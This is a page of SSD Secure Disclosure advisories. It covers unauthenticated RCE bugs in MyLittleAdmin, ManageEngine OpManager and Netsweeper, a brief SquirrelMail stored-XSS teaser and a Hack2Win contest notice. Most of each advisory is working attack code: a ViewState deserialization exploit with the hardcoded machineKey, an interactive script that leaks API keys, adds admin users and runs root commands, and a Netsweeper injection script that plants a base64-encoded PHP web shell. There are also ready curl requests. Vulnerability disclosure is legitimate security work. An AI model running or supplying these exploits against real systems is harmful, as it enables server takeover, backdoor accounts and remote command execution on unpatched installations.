SSD Advisory – MyLittleAdmin PreAuth RCE

TL;DR

Find out how we managed to execute arbitrary commands on MyLittleAdmin management tool using unauthenticated RCE vulnerability. 

Vulnerability Summary

MyLittleAdmin is a web-based management tool specially designed for MS SQL Server. It fully works with MS SQL Server. While the product appears to be discontinued (no new releases since 2013) it is still being offered on the company web site as well as part of the optional installation of Plesk. Furthermore, there are numerous active installations present on the Internet. An unauthenticated RCE vulnerability in the product allows remote attackers to execute arbitrary commands within the context of the IIS application engine.

CVE

CVE-2020-13166

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

MyLittleAdmin version 3.8, we suspect older versions are also affected but have no way to verify it.

Vendor Response

Numerous attempts to contact the vendor went unanswered, attempts to email sales@ and support@ as well as the twitter account apparently has not reached anyone as we have not received any response.

Vulnerability Details

MyLittleAdmin utilizes a hardcoded machineKey for all installations, this value is kept in the file: C:\Program Files (x86)\MyLittleAdmin\web.config

An attacker having this knowledge can then serialize objects that will be parsed by the ASP code used by the server as if it were MyLittleAdmin’s serialized object. This allow an attacker to execute commands on the remote server.

Vulnerable Key

The following is the hardcoded key used by MyLittleAdmin, by inserting its values to ysoserial.exe it is possible to create a payload that will execute a command of our choice:

<machineKey
validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33E77E0628B17AA928039BF"
decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4" validation="SHA1" />

Demo

Have the skills to find similar vulnerabilities? We’re on the lookout for Server Management Tool researchers to submit their finding, receive very generous rewards and join our team. Click below for more information:

Exploit

The provided exploit code will connect to a remote server and send a payload that starts a calc.exe in the context of IIS Application Engine

#!/usr/bin/python3
import requests
import sys
import logging

from bs4 import BeautifulSoup

# These two lines enable debugging at httplib level (requests->urllib3->http.client)
# You will see the REQUEST, including HEADERS and DATA, and RESPONSE with HEADERS but without DATA.
# The only thing missing will be the response.body which is not logged.
try:
    import http.client as http_client
except ImportError:
    # Python 2
    import httplib as http_client

http_client.HTTPConnection.debuglevel = 0

# You must initialize logging, otherwise you'll not see debug output.
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True

print("Connecting to remote server and collecting ASP state and event values")
r = requests.get('http://10.0.0.38')

soup = BeautifulSoup(r.text, 'html.parser')
# print(soup.prettify())

__VIEWSTATEGENERATOR = ""
__EVENTVALIDATION = ""
ServerName = ""

for input in soup.find_all('input'):
  if input['id'] == '__VIEWSTATEGENERATOR':
    __VIEWSTATEGENERATOR = input['value']
  if input['id'] == '__EVENTVALIDATION':
    __EVENTVALIDATION = input['value']
  if input['name'] == 'fServerName$cControl':
    ServerName = input['value']

# print("__VIEWSTATEGENERATOR: {}\n__EVENTVALIDATION: {}\nServerName: {}".format(__VIEWSTATEGENERATOR, __EVENTVALIDATION, ServerName))

shellcode = "/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgvRWjvTrAIEiQyXFySADCN2ualb9g=="

payload = {
  '__VIEWSTATE' : shellcode,
  '__VIEWSTATEGENERATOR' : __VIEWSTATEGENERATOR,
  '__EVENTVALIDATION' : __EVENTVALIDATION,
  'fServerName$cControl' : ServerName,
  'txtDatabase' : '',
  'listAuthentication' : 'sql',
  'txtLogin' : '',
  'txtPassword' : '',
  'listProtocol' : '',
  'txtPacketSize' : '4096',
  'txtConnectionTimeOut' : '15', 
  'txtExecutionTimeOut' : '0',
  'btnConnect': 'Connect'
}

headers = {
  'Content-Type': 'application/x-www-form-urlencoded',
  'Cookie': 'Skin=default; CultureName=en-US',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  'Origin': 'http://10.0.0.38',
  'Referer': 'http://10.0.0.38/',
  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36',
}

print("Sending shellcode request to server")
r = requests.post("http://10.0.0.38", data=payload, headers=headers)

if "An error occured." in r.text:
  print("Check Task Manager for win32calc.exe")
else:
  print("Failed to launch shellcode: {}".format(r.text))

SSD Advisory – ManageEngine OpManager Unauthenticated Access API Key Access leads to RCE

Vulnerability Summary

ManageEngine OpManager is a central management software written in Java. A vulnerability in ManageEngine OpManager allows a remote attacker to leak the API key of the product (administrative level API key) which we can then use to execute remote commands with root privileges.

Credit

An independent Security Researcher, @kuncho, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

ManageEngine OpManager version 12.5.118 and prior.

CVE

CVE-2020-11946

Vendor Response

The vendor has released a patch to resolve this vulnerability: Unauthenticated access to API key disclosure from a servlet call.

Vulnerability Details

The servlet that leaks the admin API key is located at OpManagerIp/servlet/sendData, The Servlet is defined at line 840 in /opt/ManageEngine/OpManager/WEB-INF/web.xml as follows.

  <servlet>
    <servlet-name>sendData</servlet-name>
    <servlet-class>com.adventnet.la.enterprise.servlet.SendDataServlet</servlet-class>
  </servlet>

The class file for the servlet is found in a jar file located at /opt/ManageEngine/OpManager/lib/FirewallService.jar, the code path that causes the bug is shown below:

      public void doPost(final HttpServletRequest req, final HttpServletResponse res) throws ServletException, IOException {
          this.processRequest(req, res);
      }
  
      private void processRequest(final HttpServletRequest req, final HttpServletResponse res) {
          if (!"DS".equals(System.getProperty("server.type")) && !"fwacs".equals(req.getParameter("reqFrm"))) {
              System.out.println(" WARNING: Installation is not of type Distributed Server. ");
              return;
          }
          if ("DS".equals(System.getProperty("server.type")) && !this.isValidReq(req)) {
              SendDataServlet.LOGGER.log(Level.INFO, "Not a valid Request. Going to return");
              return;
          }
          res.resetBuffer();
          res.reset();
          final String adminBuild = req.getParameter("adminBuild");
          if (adminBuild != null) {
              *** snipped ***
          }
          OutputStream outStream = null;
          try {
              final String toProcess = req.getParameter("process");
              final String eeLicExStatus = req.getParameter("fwaDEcountEx");
              if ("applyLic".equals(toProcess)) {
                  *** snipped ***
              }
              else {
                  *** snipped ***
                  final boolean isCentralArchiveEnabled = "true".equals(req.getParameter("isCentralArchiveEnabled"));
                  final boolean isApikeyNeeded = "true".equals(req.getParameter("key"));
                  this.processCentralArchiveRequest(req);
                  outStream = (OutputStream)res.getOutputStream();
                  this.dataSyncHandler.sync(toProcess, null, outStream); //Bug ONE
                  if (isCentralArchiveEnabled) {
                      this.dataSyncHandler.sync("archive", null, outStream);
                  }
                  if (isApikeyNeeded) {
                      this.dataSyncHandler.sync("apikey", req.getParameter("user"), outStream); // Bug TWO
                  }
                  if (eeLicExStatus != null) {
                      FirewallConstants.setFwDELicStatus(eeLicExStatus);
                      this.invokeUIReload(eeLicExStatus);
                  }
              }
          }

As can we can clearly see from the above code, The servlet calls a function in the dataSyncHandler class with user controlled variables, The dataSyncHandler class has a function named sync which basically queries data from the server and sends it back to us. The first parameter to this function determines what type of data we request, In our case the argument is defined by us in the first call (bug number one) and it is set to apikey in the second call (bug number two). What’s more interesting is in bug number two, the servlet passes our user parameter to the function which allows us to grab the admin API key by setting that parameter to admin. The code for the dataSyncHandler is shown below for reference.

  // </opt/ManageEngine/OpManager/lib/FirewallService.jar>/com/adventnet/la/enterprise/dc/DefaultDataSynchronizer.java
  @Override
  public void sync(final String toProcess, final String addlParam, final OutputStream out) throws EnterpriseException {
    if ("sData".equals(toProcess)) {
      this.syncData(out);
    }
    else if ("apikey".equals(toProcess)) {
      this.getApikey(addlParam, out);
    }
    else if ("rPtr".equals(toProcess)) {
      this.clearAndUpdate(out);
    }
    else if ("del".equals(toProcess)) {
      this.saveDeletedInfo();
    }
    else if ("archive".equals(toProcess)) {
      this.syncArchive(out);
    }
    else {
    if (!"mstat".equals(toProcess)) {
      throw new EnterpriseException("Problem while syncing, Unknow entity " + toProcess + " passed for syncing");
    }
    DefaultDataSynchronizer.LOGGER.log(Level.INFO, "License count check from colletor to admin server");
      this.getLicStatus(out);
    }
  }
  
  private void getApikey(final String user, final OutputStream out) throws EnterpriseException {
      try {
          out.write("\nkey=Start\n".getBytes());
          out.write(FwaApiDBUtil.getInstance().getApikeyForUser(user).getBytes());
      }
      catch (Exception exp) {
          throw new EnterpriseException("Error occured while getting apikey", exp);
      }
  }

A curl request that triggers the bug is given below

  curl -v 'http://192.168.56.101:8060/servlet/sendData' -d 'reqFrm=fwacs&key=true&user=admin&process=apikey'

This would result in a response such as this:

  key=Start
  1a5072b0a1b3fb4a93008b52ffc0ab70
  key=Start
  882781cb3818e748404f059f09f246f3

>As a note, On opManager installs with build numbers prior to 123127 the sendData servlet does not exist. The same bug is found on those versions too though. The servlet name and the post data must be adjusted to the following to get the API key. The attached POC automatically checks the build version and uses the right servlet:

  curl -v 'http://172.17.0.2:80/oputilsServlet' -d 'action=getAPIKey'

A sample API request to list all the users in the system, with output:

  curl 'http://192.168.56.101:8080/api/json/nfausers/getAllUsers?apiKey=882781cb3818e748404f059f09f246f3'
  
  [{"uID":1,"currentUser":true,"uName":"admin","uDesc":"Administrator","prevLogin":"Not Available","uAuth":"local","assignPass":false,"authentication":"Local Authentication","currentLogin":"11 Apr 2020 06:13:47 PM UTC"},{"uID":2,"currentUser":false,"uName":"trialuserlogin","uDesc":"Administrator","prevLogin":"Not Available","uAuth":"local","assignPass":false,"authentication":"Local Authentication","currentLogin":"Not Available"}]

After the API key has been obtained, qe can use it to add an admin user and execute remote command using the notification profile test functionality. The notification profile test command execution is not a bug but an option to run a command when an event is triggered.

A sample API request to add a new admin user is given below:

  curl -k 'http://192.168.56.101:8080/api/json/v2/admin/addUser' -d 'userName=support&privilege=Administrator&emailId=mail%40localhost.net&landLine=&mobileNo=&sipenabled=true&tZone=undefined&allDevices=true&authentication=local&fwaresources=&raMode=0&ncmallDevices=&password=P@ssw0rd&apiKey=882781cb3818e748404f059f09f246f3'
  
  {"result":{"message":"User has been successfully added."}}

A request (After logging in with the new user) that will trigger the RCE is shown below (command is run as root):

  curl 'http://192.168.56.101:8080/client/api/json/admin/testNProfile' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-ZCSRF-TOKEN: opmcsrftoken=a8a3b865cce2cd55358242bc470c76d86124797743526a9f749f8643a3bdc586aad023e709657e788e7c1db2c9b00d3ee1ebeaa6959cb72e9a376ebb34ed9c4a' -H 'Cookie: signInAutomatically=true; JSESSIONID=2B0F9568F1730E05146C499F7EA9ACF3; CountryName=ETHIOPIA; NFA__SSO=D74EBE20D409F2C084EEDFF89F818F42; A07A2ABA1A105DA969183132185534A8=MzU0NjIzZDBmMWNlNmEyZjc1OTAyMmE2OWFmOWM5NzI4NjQ0MTAzNmEyOWQ5ODhlZDU2MDNjYTdmMGM0M2U0OGJhNGQwMWI1YjUxNmQzMTY5YjU2YmVkMjFhZDFiMDcwNmU0ZTAzODZjNjUyMTZkNDZhMTM0NzhiMjc3Y2UwODkwYTNjNzBjNzgyNTE1NzlhZmJhYTg1NTdlYTYyOGUyOGQ4ZGI1ZGEx; opmcsrfcookie=a8a3b865cce2cd55358242bc470c76d86124797743526a9f749f8643a3bdc586aad023e709657e788e7c1db2c9b00d3ee1ebeaa6959cb72e9a376ebb34ed9c4a' --data '&append=true&command=id>/tmp/PWNED&selectedseverities=1,2,3,4&checkedhardwareMonitor=true&selectAllhardwareMonitor=true&selectedDevicesStr=127.0.0.53&twoption=All&profileType=Run System Command&name=POP'
  
  {"result":{"message":"Test Action Is Successful"}}

Demo

Exploit

The included with exploit to create a full command execution from the API key leak

#!/usr/bin/python2

import requests
import sys
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class OpManagerExploit():
    def __init__(self,url):
        self.url = url
        self.ver = None
        self.api_key = False

    def FindVer(self):
        ver_req = requests.get(self.url+'/js/%2e%2e/html/About.properties',verify=False,allow_redirects=False)
        if ver_req.status_code != 200:
            print '[-] Unexpected response to fingerprinting request, Bailing.'
            return False
        if ver_req.text.find('BUILD_NUMBER') == -1 or ver_req.text.find('BUILD_VERSION') == -1:
            print '[-] Unable to read OpManager version, Bailing'
            return False
        t = ver_req.text
        self.ver = int(t[t.find('BUILD_NUMBER')+13:t.find('\n',t.find('BUILD_NUMBER'))].strip())
        print '\n[+] Build version of opManager is {}'.format(self.ver)
        print '[+] Found OpManager Version {}'.format(t[t.find('BUILD_VERSION')+13:t.find('\n',t.find('BUILD_VERSION'))].strip())
    
    def LeakApiKey(self):
        if self.ver >= 123127:
            leak_d = {'reqFrm':'fwacs','key':'true','user':'admin','process':'apikey'}
            leak_r = requests.post(self.url+'/servlet/sendData',verify=False,data = leak_d)
            if leak_r.status_code != 200:
                print '[-] Failed to extract API KEY.'
                return False
            
            if leak_r.text.find('key=Start') == -1:
                print '[-] Invalid response in LeakApiKey()'
                return False
            
            d = leak_r.text
            api_key = d[d.find('key=Start',d.find('key=Start')+11)+10:].strip()
            print '[+] Got API Key {}'.format(api_key)
            return api_key
        else:
            leak_d = {'action':'getAPIKey'}
            leak_r = requests.post(self.url+'/oputilsServlet',verify=False,data = leak_d)
            if leak_r.status_code != 200:
                print '[-] Failed to extract API KEY.'
                return False
            d = leak_r.text
            if d.find('API_KEY=') == -1:
                print '[-] Failed to extract API key'
                return False
            api_key = d[d.find('API_KEY=')+8:d.find('\n',d.find('API_KEY='))]
            print '[+] Got API Key {}'.format(api_key)
            return api_key

    def AddUser(self,interact=False):
        
        if self.api_key is False:
            print '[+] Leaking API key to add a new user'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api to add a user'
                return False
        
        if interact == True:
            username = raw_input('Username > ')
            password = raw_input('Password > ')
        else:
            username = 'support@localhost.net'
            password = 'P@ssw0rd'
        
        print '[+] Adding a new admin user'
        #add_d = {'userName':username,'privilege':'Administrator','emailId':'mail@localhost.net','sipenabled':'true', 'tZone':'undefined','authentication':'local','raMode':'0','password':password,'apiKey':self.api_key}
        add_d = 'userName='+username+'&privilege=Administrator&emailId=mail@localhost.net&sipenabled=true&tZone=undefined&authentication=local&raMode=0'+'&apiKey='+self.api_key
        print "url: {}, add_d: {}".format(self.url, add_d)
        add_r = requests.post(self.url+'/api/json/v2/admin/addUser?'+add_d,files={'password':(None, password)},verify=False,headers={'Accept':'application/json'})
        if add_r.status_code != 200:
            print '[-] Failed to add a new user, invalid response'
            return False
        else:
            try:
                resp = json.loads(add_r.text)
            except:
                print '[-] Failed to add user, Invalid response data'
                print "add_r: {}".format(add_r.content)
                return False
            if resp.keys()[0] == 'error':
                print '[+] Error {} while adding user'.format(resp['error']['message'])
                return False
            else:
                print '[+] Success, Response from server: {}'.format(resp['result']['message'])
                return True
    
    def DeleteUser(self,interact=False):
        if self.api_key is False:
            print '[+] Leaking API key to delete a user'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api to delete a user'
                return False
        if interact == True:
            username = raw_input('Username to delete> ')
        else:
            username = 'support@localhost.net'
        
        users_list = requests.get(self.url+'/api/json/nfausers/getAllUsers?apiKey='+self.api_key,verify=False).text
        try:
            usl = json.loads(users_list)
        except:
            print '[-] Failed to obtain user list'
            return False
        
        user_id = None
        for u in usl:
            if u['uName'] == username:
                user_id = int(u['uID'])
                print '[+] Found user id {}'.format(user_id)
                break
        
        if user_id is None:
            print '[-] Username not found '
            return False
        
        del_r = requests.post(self.url+'/api/json/admin/deleteUser',verify=False, data = {'userId':user_id,'apiKey':self.api_key})
        if del_r.status_code == 200 and json.loads(del_r.text).keys()[0] != 'error':
            print '[+] User deleted successfully'
            return True
        else:
            print '[-] User deletion Failed.'
            return False

    def ExecuteCommand(self):
        if self.api_key is False:
            print '[+] Leaking API key for RCE'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api for RCE'
                return False
        if self.AddUser() is False:
            print '[-] Failed to add user for RCE'
            return False
        
        print '[+] Loggin in with the added user'
        login_dat = {'AUTHRULE_NAME':'Authenticator','clienttype':'html','ScreenWidth':'1920','ScreenHeight':'602','loginFromCookieData':'false','ntlmv2':'false','j_username':'support@localhost.net','j_password':'P@ssw0rd','signInAutomatically':'on','uname':''}
        sess = requests.Session()
        sess.get(self.url+'/apiclient/ember/Login.jsp',verify=False,allow_redirects=False)
        login_r = sess.post(self.url+'/apiclient/ember/j_security_check',data=login_dat,verify=False)
        if login_r.status_code != 200 or (self.ver >= 123127 and 'opmcsrfcookie' not in sess.cookies.get_dict().keys()) or (self.ver < 123127  and login_r.text.find('selectLocalLogin()') != -1):
            print '[+] Login Failed...'
            self.DeleteUser()
            return False
        
        print '[+] Login Successful.'

        command = raw_input('Command to execute> ')
        if self.ver > 123127:
            cmd_d = {'append':'true','command':command,'selectedseverities':'1,2,3,4','checkedhardwareMonitor':'true','selectAllhardwareMonitor':'true','selectedDevicesStr':'127.0.0.53','twoption':'All','profileType':'Run System Command','name':'POP'}
            headers = {'X-ZCSRF-TOKEN': 'opmcsrftoken='+sess.cookies.get_dict()['opmcsrfcookie']}
            cmd_r = sess.post(self.url+'/client/api/json/admin/testNProfile',headers=headers,verify=False,data=cmd_d,allow_redirects=False)
        else:
            cmd_d = {'command':command,'selectedseverities':'1,2,3,4','checkeddevicemissespolls':'true','noofpolls':'1','deviceCategory':'iv_12','twoption':'All','profileType':'Run System Command','name':'as'}
            cmd_r = sess.post(self.url+'/api/json/admin/testNProfile?apiKey='+self.api_key,verify=False,data=cmd_d,allow_redirects=False)
        try:
            output = json.loads(cmd_r.text)
        except:
            print '[-] Invalid Response data from RCE request'
            self.DeleteUser()
            return False
        if output.keys()[0] == 'result':
            print '[+] Command successfully executed: {}'.format(output)
        print '[+] Done with RCE, Cleaning up user'
        self.DeleteUser()
        return True

    def Exploit(self):
        print '[+] Starting Exploit\n[+] Please choose operation'
        print '\t1) Execute Shell Command\n\t2) Add an admin user\n\t3) Delete a user\n\t4) Leak admin API Key'
        ch = raw_input("Choice> ")
        if ch == '1':
            self.ExecuteCommand()
        elif ch == '2':
            self.AddUser(interact=True)
        elif ch == '3':
            self.DeleteUser(interact=True)
        elif ch == '4':
            self.LeakApiKey()
        else:
            print '[-] wth is {}'.format(ch)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print '[+] Usage: {} <url>'.format(sys.argv[0])
        exit(1)
    ex = OpManagerExploit(sys.argv[1].strip())
    if ex.FindVer() == False:
        exit(1)
    
    ex.Exploit()

SSD Advisory – Netsweeper PreAuth RCE

Vulnerability Summary

Netsweeper provides real-time content monitoring and reporting for early intervention.

CVE

CVE-2020-13167

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Netsweeper webadmin version 6.4.3 and prior.

Vendor Response

We were unable to establish contact with Netsweeper, we have tried to reach their sales@ support@ email addresses as well as via twitter.

Vulnerability Details

The vulnerable endpoint is located at /webadmin/tools/unixlogin.php this script receives the three variables ‘login’, ‘password’, and ‘timeout’ from user then checks if referrer header contains a value that is in the array

$page = array ( "webadmin/admin/service_manager_data.php",
        "webadmin/systemconfig/grant_db_access.php",
        "webadmin/systemconfig/edit_email_sending_settings.php",
        "systemconfig/edit_file.php",
        "systemconfig/edit_database_settings.php",
        "systemconfig/manage_certs.php",
        "webadmin/api/");

If header contains one of the above strings and the user supplied variables are not empty the script the executes the command

$command authcheck $esclogin $escpassword

Where

$command = "sudo $NS_PATH/bin/service.sh";
$esclogin = escapeshellarg($login);
$escpassword = escapeshellarg($password);

Meaning that script `service.sh` is launched and the 2nd and 3rd parameters are the login and password supplied by the user.

In the authcheck functionality of the `service.sh` script the command

password=$($PYTHON -c "import crypt; print crypt.crypt('$2','\$$algo\$$salt\$')")

Gets executed, the 2nd parameter, which is the password parameter gets joined in to the Python crypt function as the first value to be passed, meaning we can control the rest of the Python command by using a well crafted password. For example, if the password is `g’,”);import os;os.system(‘echo ‘hello’ >/tmp/pwnd’)#’` it would make the command being run

($P>YTHON -c "import crypt; print crypt.crypt('g','');import os;os.system('id >/tmp/pwnd')#','\$$algo\$$salt\$')")

which results in a RCE.

Demo

Exploit

import requests,sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def exec_cmd(cmd,url):
    cmd = cmd.encode().hex()
    payload = "g','');import os;os.system('{}'.decode('hex'))#".format(cmd)
    payload = urllib.parse.quote(payload)

    headers  ={
    'Referer':'localhost/webadmin/admin/service_manager_data.php'
    }

    response = requests.get('{}/webadmin/tools/unixlogin.php?login=admin&password={}&timeout=5'.format(url,payload),headers=headers,verify=False)
    if (response.status_code!=200):
    	print("ERROR: server responded with status code {} instead of 200 ".format(response.status_code))
    	print("[!] : make sure this is a netsweeper server")
    	sys.exit(-1)

if __name__ == "__main__":

    if len(sys.argv)< 3:
    	print("[-] Usage: {} URL [shell_upload|execute_root_command]".format(sys.argv[0]))
    	sys.exit(-1)
    if sys.argv[2]=='shell_upload':
        cmd = "echo PGZvcm0gbWV0aG9kPSdQT1NUJz48aW5wdXQgdHlwZT0nVEVYVCcgbmFtZT0nYyc+PGlucHV0IHR5cGU9J1NVQk1JVCcgdmFsdWU9J0V4ZWN1dGUnPjw/cGhwIGlmKGlzc2V0KCRfUE9TVFsnYyddKSl7ZWNobyAnPHByZT4nO3N5c3RlbSgkX1BPU1RbJ2MnXSk7ZWNobyAnPC9wcmU+Jzt9Cg== | base64 -d > /usr/local/netsweeper/webadmin/shell.php"
        exec_cmd(cmd,sys.argv[1])
        print ("shell uploaded at : {}{}".format(sys.argv[1],'/webadmin/shell.php'))
    if sys.argv[2]=='execute_root_command':
    	cmd = input('root#')
    	cmd =  cmd +" > /usr/local/netsweeper/webadmin/out"
    	exec_cmd (cmd,sys.argv[1])
    	result = requests.get('{}/webadmin/out'.format(sys.argv[1]),verify=False)
    	print (result.content.decode("utf-8"))
    	exec_cmd('rm -rf /usr/local/netsweeper/webadmin/out',sys.argv[1])

SquirrelMail – Incoming e-Mails Stored XSS

Abstract
SquirrelMail allows to display HTML messages provided that non-safe fragments are redacted. An input sanitization vulnerability that can be exploited to perform stored cross-site scripting (XSS) attacks has been discovered.
A remote attacker can send a specially crafted e-mail containing malicious HTML and execute arbitrary JavaScript code in the context of the vulnerable webmail interface when the user displays the message. This basically grants the attacker the same privileges of the authenticated victim, in particular this enables to (among other things): send e-mail messages on the behalf of the victim, fetch conversations from folders, delete or otherwise manage messages, log the victim out of SquirrelMail, etc.
It is likely that even prior versions are affected since this does not appear to be a regression but merely an insufficient implementation.
Details
The HTML sanitizer uses a blacklist approach based on tag and attributes names to recognize potentially dangerous HTML code and decide how to fix it, for example, attributes starting with on are removed as they usually represent events. In particular, the <script> element is deleted and the href attribute can only assume certain schemes (e.g., not javascript:) otherwise it is replaced with a void image URL.
It is possible to bypass these checks by using the SVG counterpart of the <a> and <script> elements. This variant exposes the href attribute as part of the xlink namespace (for the latter it allows to specify the resource containing the script code) therefore it can be accessed with xlink:href which is ignored by SquirrelMail. Moreover, in this context <script> can be self-closing and the lack of closing tag is enough to deceive the sanitizer.
Two methods have been devised, to maximize the chances of success it may be advisable to employ both.
Credit
An independent security researcher, Andrea Cardaci, has reported this vulnerability to SSD Secure Disclosure program.
Affected versions
SquirrelMail version 1.4.23 (SM-1_4-STABLE @ r14746)
SquirrelMail version 1.5.2 (trunk @ r14747)

No user action required
This solution only works with Firefox and Edge [1] and requires no additional interaction from of the user:

(more…)

Hack2Win eXtreme Warm Up

Hack2Win eXtreme

In our upcoming Hack2Win eXtreme event in Hong Kong we will be asking contest participants to come and try their skills breaking into devices and software, showing their abilities in finding vulnerabilities in iOS and Android, as well as in Chrome and Firefox.
In preparation for the event, we are launching a “warm up” event where the target is different from the above devices and software. The event will be open to anyone who wants to participate, and will be open until the 19th of September (inclusive).
